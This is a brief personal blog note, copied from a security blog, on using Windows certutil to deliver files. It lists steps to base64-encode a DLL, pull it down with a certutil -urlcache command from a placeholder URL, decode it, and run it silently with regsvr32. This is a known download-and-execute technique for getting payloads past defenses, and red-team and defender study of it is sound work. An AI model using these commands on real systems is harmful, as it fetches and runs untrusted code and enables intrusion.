[Note] tải file windows với Certutil

copy: http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html

1. Create your DLL
2. Base64encode it (optional)
3. Use certutil.exe -urlcache -split -f http://example/file.txt file.blah to pull it down

 

4. Base64decode the file with certutil

5. Execute the dll with regsvr32 regsvr32 /s /u mydll.dll

Published by Nhat Truong

Hi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: